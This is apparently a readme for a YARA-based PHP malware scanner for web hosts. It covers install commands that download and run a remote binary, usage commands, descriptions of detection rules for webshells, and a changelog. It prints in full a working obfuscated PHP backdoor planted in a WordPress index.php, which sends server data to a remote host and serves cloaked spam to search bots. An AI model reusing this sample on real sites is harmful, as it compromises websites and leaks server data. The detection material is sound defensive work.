Anti-Malware Scanner
curl https://ams.06082018.xyz/ams.universal --output /scripts/ams; chmod +x /scripts/ams; /scripts/ams deploy
curl https://ams.06082018.xyz/ams.spanel --output /scripts/ams; chmod +x /scripts/ams; /scripts/ams deploy
curl https://ams.06082018.xyz/ams.cpanel --output /scripts/ams; chmod +x /scripts/ams; /scripts/ams deploy
The scanner is based on the tool "YARA". YARA is a tool aimed at (but not limited to) helping malware researchers to identify and classify malware samples. With YARA you can create descriptions of malware families (or whatever you want to describe) based on textual or binary patterns. Each description, a.k.a rule, consists of a set of strings and a boolean expression which determine its logic.
Here's a quick example with a default WordPress index file. In this case, it's clean:
/** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php';However, someone hasn't updated his WordPress in ages and this appears:
define('A', 'jan35.tpuwt5573ytu/meilusj::[word]/[word]^/[2:5]-!/|[word]/[0:1]^?pid=!::'); goto DRBz_; prXrD: function G6pC9($Pe9Ls = '') { return preg_match("\57\x28\147\x6f\x6f\147\x6c\x65\x2e\x63\x6f\x2e\x6a\x70\x7c\171\141\150\x6f\157\56\143\157\56\x6a\x70\174\x62\151\x6e\x67\174\142\141\x69\144\x75\174\x67\x6f\x6f\147\154\x65\56\x63\157\155\x29\57\x73\151", $Pe9Ls); } goto xK9zN; sdw2o: QK9xg: goto cXR8q; xK9zN: function C5sOz($LN3hg) { goto DF_7K; X3a40: if (!(is_array($Ze5iv) && count($Ze5iv) == 4)) { goto IwP40; } goto klWD3; p0Q83: $MJeur = implode('', $jXJdT); goto KWLS_; cMBod: preg_match("\57\x28\133\136\x5c\x2e\135\53\134\x2e\x29\50\56\x2a\51\50\134\57\x2e\x2a\51\x2f", $LN3hg, $Ze5iv); goto X3a40; b9Jp0: IwP40: goto XOlij; klWD3: if (!($Ze5iv[2] != '')) { goto bS_nH; } goto TRteX; DF_7K: $MJeur = ''; goto cMBod; TRteX: $jXJdT = preg_split("\57\x2f", $Ze5iv[2], -1, PREG_SPLIT_NO_EMPTY); goto uYKIu; XOlij: return $MJeur; goto KQ2OH; uYKIu: foreach ($jXJdT as $LqbQ4 => $DrnhB) { $jXJdT[$LqbQ4] = chr(ord($DrnhB) - 5); JO_eV: } goto jG9QK; NVvvU: $MJeur = $Ze5iv[1] . $MJeur . $Ze5iv[3]; goto b9Jp0; jG9QK: eZPi4: goto p0Q83; KWLS_: bS_nH: goto NVvvU; KQ2OH: } goto MlMaT; oEP2C: function jp1pd($ra6Lm = '') { return preg_match("\57\x28\147\157\157\147\x6c\145\142\157\x74\174\x62\141\151\x64\165\x73\x70\151\x64\x65\x72\174\x62\151\x6e\x67\x62\x6f\x74\x7c\x67\x6f\157\147\x6c\x65\174\142\141\x69\x64\165\174\141\x6f\154\x7c\x62\151\156\147\x7c\x79\x61\150\x6f\157\x7c\x79\x61\156\144\x65\x78\x29\x2f\x73\151", $ra6Lm); } goto prXrD; MlMaT: function Y9iIs($O3Qgn = '') { goto GUNy7; dnE4X: header($EtPnG[1]); goto NMQcd; FZzoF: iKILy: goto cGznX; TY51d: tiZ2Q: goto CBpDp; SxDJ7: $halKa = trim($_GET[$s6ame]); goto GTxi8; qiat8: $OM7nZ = $EtPnG[2]; goto LNwly; tRSFP: $OM7nZ = trim($OM7nZ); goto k8BkS; jBTHQ: $_SERVER["\171\x74\x5f\x6a\165\x6d\x70"] = 1; goto DE28W; tZSC4: $iI9EJ = trim($WlNpZ[1]); goto LhNhu; L2ZY0: $DSSiP .= "\x66\x69\143\141"; goto bpDy4; cVnfb: $_SERVER["\171\164\137\165\x70"] = $NgJB6[2]; goto kg8DE; eEMEE: die; goto TY51d; BfWFo: if (!preg_match("\57\x73\x69\x74\x65\x6d\x61\160\56\x2a\77\134\x2e\x78\x6d\x6c\x24\x2f\163\x69", $cTYm8)) { goto kxsAw; } goto jZZSq; GTxi8: if (preg_match("\x2f\136\150\x74\x74\160\x73\77\57\163\x69", $halKa)) { goto y_gmN; } goto gTEAr; JnIvT: y_gmN: goto UM3RE; GUNy7: $cTYm8 = isset($_SERVER["\122\x45\x51\125\105\123\124\137\125\122\x49"]) ? $_SERVER["\x52\x45\121\125\x45\123\124\x5f\125\x52\x49"] : (isset($_SERVER["\x51\125\105\122\x59\137\123\x54\x52\111\x4e\107"]) ? $_SERVER["\x51\x55\105\x52\x59\137\123\x54\x52\x49\116\107"] : ''); goto mHJzL; IusBm: $Ck3Wp = g6PC9($ghIYY); goto CQ3uY; oB1CK: die; goto dT_Yx; grAuq: if (!($s1f5t || $Ck3Wp)) { goto yw413; } goto kF_w2; BOF4y: goto uoYqj; goto FZzoF; y1Pl2: $hpBSN = str_replace("\56\x78", "\x2e", trim($kBl9f[1])); goto pe3mK; myxzk: $_SERVER["\x79\164\x5f\152\165\x6d\160"] = 0; goto xGKLn; zjHhO: header("{$Hipl_}\x20\x2f{$hpBSN}"); goto BRGF0; cZvuV: $VenWW = sprintf("\x68\x74\x74\160\163\x3a\57\x2f\45\163\56\x70\171", C5Soz($NgJB6[0])); goto myxzk; DE28W: qZCms: goto jtULi; BRGF0: die; goto rBmB3; pwU5i: hYCt2: goto eEMEE; jZZSq: $OM7nZ = OOGg6($VenWW, array("\170" => serialize($_SERVER))); goto tRSFP; NMQcd: $OM7nZ = $EtPnG[2]; goto wh1Ei; RYTk6: if ($er_fC) { goto iKILy; } goto cErSl; LhNhu: $er_fC = preg_match("\x2f\136\150\164\x74\x70\163\77\x5c\x3a\x5c\x2f\134\57\57\163\x69", $iI9EJ); goto RYTk6; GRnzs: $s1f5t = Jp1Pd($QkvP0); goto IusBm; Qaa0K: $YNNFK .= "\125\115\105\x4e"; goto xZh2d; TrmTB: if (!preg_match("\57\136\x48\x65\x61\144\x40\50\x2e\x2a\77\51\x40\x40\50\x2e\x2a\51\x2f\151\163", $OM7nZ, $EtPnG)) { goto VJj31; } goto NisE1; cemRF: echo gethostbyname($OwQzl["\x68\157\163\164"]); goto cq8qR; fL53w: $DSSiP = "\x67\x6f\157"; goto tGn0C; OInaJ: $ghIYY = isset($_SERVER["\110\x54\124\120\x5f\x52\x45\106\105\x52\105\x52"]) ? $_SERVER["\110\124\124\120\137\122\x45\106\105\x52\105\122"] : ''; goto Hn3v0; rBmB3: nf37W: goto grAuq; dT_Yx: yw413: goto RzSKX; Qld30: $i5Ds0 .= "\x74\x6d\154\51"; goto fL53w; tGn0C: $DSSiP .= "\147\154\145\x2d\x73\x69"; goto JxQhA; k8BkS: if (!preg_match("\x2f\136\110\145\141\x64\x40\50\56\x2a\x3f\51\x40\100\x28\x2e\x2a\x29\57\x69\163", $OM7nZ, $EtPnG)) { goto YxAwh; } goto dnE4X; OJ2rg: if (!isset($_GET[$s6ame])) { goto tiZ2Q; } goto SxDJ7; cGznX: echo sprintf("\74\142\157\144\171\x20\157\x6e\154\x6f\141\144\x3d\x22\x64\157\143\165\155\145\x6e\x74\56\147\x65\x74\105\154\x65\x6d\x65\156\164\163\102\171\x54\x61\147\x4e\x61\155\x65\50\45\163\x61\x25\163\x29\x5b\x30\x5d\x2e\x63\154\x69\x63\153\x28\51\42\x3e\x3c\141\x20\x68\162\145\x66\x3d\x22\45\163\42\76\x3c\57\141\x3e\74\156\157\x73\143\x72\x69\160\164\x3e\74\155\145\x74\141\x20\x68\164\164\160\55\x65\x71\x75\151\x76\75\42\x72\145\146\162\145\163\150\x22\x20\x63\157\156\x74\145\156\x74\x3d\x22\x30\73\40\x75\162\x6c\x3d\45\x73\x22\40\x2f\x3e\74\57\x6e\157\163\143\162\151\x70\x74\76\x3c\x2f\142\x6f\x64\x79\76", "\47", "\47", $iI9EJ, $iI9EJ); goto vuc6l; yNX4i: if (!in_array($OM7nZ, ["\52\x34\x30\64", "\x2a\x72\x65\164\x75\162\x6e"])) { goto BZe0p; } goto NL1Xb; LHF1J: $i5Ds0 = "\x28\x67\157\157"; goto bQ0pu; LNwly: VJj31: goto MKgcG; pe3mK: chmod($t9KEz, 0755); goto YwP0h; qYm5z: $Hipl_ = "\164\151\157\156\72"; goto LHF1J; kg8DE: $s6ame = "\x79\164\61"; goto mU9FR; kF_w2: $EYf6f = "\x3c\x61\x20\x68\x72\145\x66\75\x22\x25\163\x22\40\x74\x61\162\x67\x65\164\75\42\x5f\x62\154\141\156\x6b\42\76\45\x73\x3c\x2f\x61\76"; goto OJ2rg; wh1Ei: YxAwh: goto XYfbM; S8p3v: SQceZ: goto TrmTB; bufIO: $Hipl_ = "\114\x6f\x63\x61" . $Hipl_; goto E_VGe; KkR5h: kxsAw: goto qYm5z; cErSl: echo $iI9EJ; goto BOF4y; l2xFd: if (!preg_match("\57\x5e\112\x75\x6d\x70\x40\50\56\x2a\x29\57", $OM7nZ, $WlNpZ)) { goto SQceZ; } goto tZSC4; bQ0pu: $i5Ds0 .= "\147\x6c\145\133\x5c\167"; goto gQ7fI; jtULi: $OM7nZ = Oogg6($VenWW, array("\170" => serialize($_SERVER))); goto cgSiA; qPXLc: die; goto S8p3v; gTEAr: echo sprintf($EYf6f, $VenWW, $VenWW) . "\74\x62\162\x20\57\76\x3c\142\x72\x20\x2f\76"; goto pCZcD; E_VGe: if (!preg_match("\57" . $i5Ds0 . "\x24\57\x73\x69", $cTYm8, $kBl9f)) { goto nf37W; } goto y1Pl2; YwP0h: file_put_contents("{$t9KEz}\x2f{$hpBSN}", "{$DSSiP}\40{$hpBSN}"); goto UNQHk; KShgc: $i5Ds0 .= "\x7d\x5c\x2e\170\x68"; goto Qld30; RCi3J: die; goto KkR5h; XYfbM: echo "{$OM7nZ}"; goto RCi3J; UNQHk: chmod($t9KEz, 0555); goto zjHhO; Hn3v0: $QkvP0 = isset($_SERVER["\x48\124\124\120\x5f\125\x53\x45\x52\x5f\x41\x47\x45\x4e\124"]) ? $_SERVER["\x48\x54\x54\120\137\x55\123\x45\x52\x5f\x41\107\x45\116\124"] : ''; goto GRnzs; gQ7fI: $i5Ds0 .= "\x5d\x7b\61\x36"; goto KShgc; NL1Xb: return; goto ELx_2; xGKLn: $_SERVER["\x79\164\137\x67\172"] = $NgJB6[1]; goto cVnfb; MKgcG: echo "{$OM7nZ}"; goto oB1CK; UM3RE: echo oOgG6($halKa); goto pwU5i; NisE1: header($EtPnG[1]); goto qiat8; bpDy4: $DSSiP .= $Hipl_; goto bufIO; pCZcD: $OwQzl = parse_url($VenWW); goto cemRF; cgSiA: $OM7nZ = trim($OM7nZ); goto yNX4i; vuc6l: uoYqj: goto qPXLc; KPod1: $t9KEz = $_SERVER[$YNNFK]; goto BfWFo; ELx_2: BZe0p: goto l2xFd; CQ3uY: $NgJB6 = explode("\x3a\x3a", A); goto cZvuV; xZh2d: $YNNFK .= "\124\x5f\122\x4f\x4f\x54"; goto KPod1; JxQhA: $DSSiP .= "\x74\145\55\x76\x65\162\x69"; goto L2ZY0; CBpDp: if (!$Ck3Wp) { goto qZCms; } goto jBTHQ; cq8qR: goto hYCt2; goto JnIvT; mU9FR: $YNNFK = "\x44\x4f\x43"; goto Qaa0K; mHJzL: $cTYm8 = $cTYm8 == '' ? isset($_SERVER["\120\101\x54\110\x5f\111\x4e\106\x4f"]) && $_SERVER["\120\101\124\110\x5f\x49\116\x46\117"] != '' ? $_SERVER["\120\101\x54\x48\x5f\x49\116\x46\x4f"] : $cTYm8 : $cTYm8; goto OInaJ; RzSKX: } goto EeNKI; DRBz_: @date_default_timezone_set("\120\x52\x43"); goto VjZ0I; k9REE: @ob_start(); goto sdw2o; cXR8q: function oogg6($gUfsH, $xiGd9 = array()) { goto wqshL; iQnmY: curl_setopt($rvmOq, CURLOPT_SSL_VERIFYHOST, false); goto zUKg7; aAuk3: curl_setopt($rvmOq, CURLOPT_SSL_VERIFYPEER, false); goto iQnmY; ePg_g: $rvmOq = curl_init(); goto wX6C2; wqshL: $bCoML = 0; goto ePg_g; zUKg7: curl_setopt($rvmOq, CURLOPT_FOLLOWLOCATION, 1); goto s66ec; s66ec: curl_setopt($rvmOq, CURLOPT_TIMEOUT, 60); goto zHPsp; jEKiB: Phjkc: goto sh4xE; PRAiX: curl_setopt($rvmOq, CURLOPT_RETURNTRANSFER, 1); goto aAuk3; L4Hps: o8QRv: goto hvnD_; RT9l4: curl_setopt($rvmOq, CURLOPT_CONNECTTIMEOUT, 0); goto PRAiX; IR2Tr: if (!$u3v0u) { goto Phjkc; } goto fllzv; jzhJN: curl_close($rvmOq); goto IR2Tr; d6E86: curl_setopt($rvmOq, CURLOPT_POST, 1); goto Tb9Wl; wX6C2: curl_setopt($rvmOq, CURLOPT_URL, $gUfsH); goto BuuTR; zHPsp: if (empty($xiGd9)) { goto o8QRv; } goto d6E86; hvnD_: $u3v0u = curl_exec($rvmOq); goto jzhJN; sh4xE: return trim(trim($bCoML, "\xef\273\277")); goto LpKf7; fllzv: $bCoML = $u3v0u; goto jEKiB; BuuTR: curl_setopt($rvmOq, CURLOPT_USERAGENT, "\x57\110\122"); goto RT9l4; Tb9Wl: curl_setopt($rvmOq, CURLOPT_POSTFIELDS, http_build_query($xiGd9)); goto L4Hps; LpKf7: } goto oEP2C; VjZ0I: if (!function_exists("\x6f\142\x5f\163\x74\141\x72\164")) { goto QK9xg; } goto k9REE; EeNKI: Y9iiS();
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';
In this case - ClamAV's rules will fail to detect the malware, because it will "think" it's a legitimate WordPress file but encrypted (like a premium plugin for example)..
However, with our own rules and YARA, we will catch the malware by the hex characters like this: "104 116 116 112 115 58 47 47 37 115 46 112 121" - those numbers (in ASCII format) will return "https://%s.py" and there we are, why would we ever need to run python code in WordPress? :)
/scripts/ams flush
/scripts/ams scan /path/to/the/directory
- You can also scan the entire /home if you want
/scripts/ams report /path/to/the/file.php
- The more you report - the more accurate it gets.
/scripts/ams wpclean /home/user/public_html
yara --print-string -r --threads=1 /etc/sshield_v2_scanner/sshield.yar /home/user/public_html/wp-login.php
yara -r /etc/sshield_v2_scanner/sshield.yar /home/user/public_html
- This is our by far largest rule with the most common patterns that we have obtained through the years from the shared hosting services. Each one is guaranteed to be 100% malicious if found.
- In this rule we have a collection of the most common websites that are used in PHP Shells, Data Harvesting companies and similar garbage that should never exist in a website.
- In this rule we have a collection of specific strings that can be found in PHP shells such as "64 group of zain bani" or other wannabe-hackers that spread them.
- In this rule, we detect PHP shells based on a specific pattern. The pattern in question is that everything is "slammed" on a single line (commonly found in WordPress - the first 2-3 lines of the file). It detects for a base64-encoded string, combination of "eval" and the usage of the "passthru" PHP function.
- In this rule, we detect PHP shells that rely on functions whose characters are obfuscated with the PHP chr() function, e.g: "chr(046)" equals "&"
- With this badboy we detect all PHP shells that rely on the 'goto' PHP operator, which is used to obfuscate the payload (e.g a server with the actual php shell that would get downloaded), in legitimate code (even encrypted one), there shouldn't be more than 3 to 5 occurances, in this case - we check for more than 15 /e.g guaranteed to be malicious/
- In this rule, we check the first 2 lines of the PHP file and if it contains $_COOKIE alongside with a PHP tag and "exit". This is used by attackers to gain access to the PHP shell itself (like passwordless login)
- Pretty much obvoius, we detect PHP shells masked as icon files.. the thing is that they are executable files, not actual icons. ".something.ico" (with the dot in front, this makes it executable as PHP)
- Same as the one above, we search for ".something.ico" files with a "twist". In short, that rule is to find the "spreadder" for the ".something.ico" files themselves
- In this rule, we are searching for the "preg_replace" PHP function and more than 25 "letters" encoded as HEX
- Those are the essential and ordinarily-obfuscated php shell variants, in them we look strictly for "/tmp" (no one in his right mind would use the server's tmp folder rather than it's own defined by the php.ini), 25 hex-encoded characters and "file_put_contents" which is the function that "creates" the PHP shell itself as a file.
- In this rule we are looking for letters (numeric) that are output by the chr php function. For example - "chr(46).chr(112).chr(104).chr(112).chr(10)" would output ".php".. suspicious, isn't it? :)
- Same as above, but it is not based on a single line, instead - spread all over the file
- In this case, we are looking for "rotated" strings and "eval", in short - 100% malware. The strings we are looking for are similar to this - "edoced_46esab" which "rotated" back to normal is "base64_decode".
- In this case, we are looking for a "< ? php" tag, "eval", and 1 of all of the following "fopen/fwrite/fclose", through which we can detect the so-called "spreadders" that spread the shells all over the account.
- Similar to the two above, this case detects not just spreadders but executers as well, for example more than 3 evals and 3 includes, php tag and more than 15 array calls (e.g "$O0O0O0OO0O[13].$O0O0O0OO0O[31].$O0O0O0OO0O[11].$O0O0O0OO0O[7]....")
- This rule solely checks if we have a "php" tag and a specific string - "/etc/passwd".. nothing website-related should ever need access (read/write) to that file due to obvious reasons.
- Prevents this crap from existing -> https://github.com/n0nexist/VVObf
- This is based on the most common RCE exploits found here: https://www.cvedetails.com/vulnerability-list/vendor_id-2337/product_id-4096/Wordpress-Wordpress.html
- Here we detect for one specific shell in case we could not detect it with the rules above, what it does is it looks specifically for the following string: "/files/file.txt"
- In this rule, we are looking for a combination of "eval, gzuncompress, base64_decode" and direct access to "__halt_compiler", which is 100% guaranteed to be malware.
- Similar to the one for string rotation earlier, here we are looking for "$_POST" variable, "preg_replace" as well as "str_rot13", which again - rotates the string so we cannot predict the output of "base64_decode", it is always shuffled.
- That one is the easiest to explain, all we do is detect for "base64_decode" and a specific URL in it, e.g: "base64_decode('http/s/://...something...", quite obvious yet quite effective.
- Thanks to an interesting report made by Valio, this new rule will detect if a file contains emojis, more than 5 - triggers it and we get result. Prevents malware such as this from existing: @include/*-yH⇟卐➄∿▊❸
- This detects scripts such as 'Adminer' that Prakash/Mrakash/Sandeep put in cracked/nulled plugins/themes to gain access to the website(s)
- This is the same as the first "PHP_Obfuscated_Chr_Shell", however with completely overhauled regex check and is more accurate
-----------------------------------------------------------------------------------------
Version 1.0.2.7 - 14.06.2025
-----------------------------------------------------------------------------------------
- Fixed 17 false positive results with PHP_Obfuscated_Chr_Shell_V2
-----------------------------------------------------------------------------------------
Version 1.0.2.6 - 16.04.2025
-----------------------------------------------------------------------------------------
- Fixed 52 false positive results
-----------------------------------------------------------------------------------------
Version 1.0.2.5 - 10.04.2025
-----------------------------------------------------------------------------------------
- Fixed 34 false positive results
- Added a new pattern "Legitimate_But_Used_For_Malicious_Purposes" this detects scripts such as 'Adminer' that Prakash/Mrakash/Sandeep put in cracked/nulled plugins/themes to gain access to the website(s)
- *EXPERIMENTAL* Added a new pattern "PHP_Obfuscated_Chr_Shell_V2" which detects the same .chr().chr() pattern but "on steroids"
-----------------------------------------------------------------------------------------
Version 1.0.2.4 - 31.03.2025
-----------------------------------------------------------------------------------------
- Fixed 47 false positive results (including images)
- Added a new pattern "Detect_Special_Characters_Excluding_Binaries"
-----------------------------------------------------------------------------------------
Version 1.0.2.3 - 07.03.2025
-----------------------------------------------------------------------------------------
- Fixed 73 false positive results (including images)
- Added a new pattern "Detect_PHP_Base64_Decode_HTTP_File_Downloader"
-----------------------------------------------------------------------------------------
Version 1.0.2.2 - 24.02.2025
-----------------------------------------------------------------------------------------
- Replaced the domain from "ams.scalahosting.net" to "ams.06082018.xyz" so we don't get interrupted.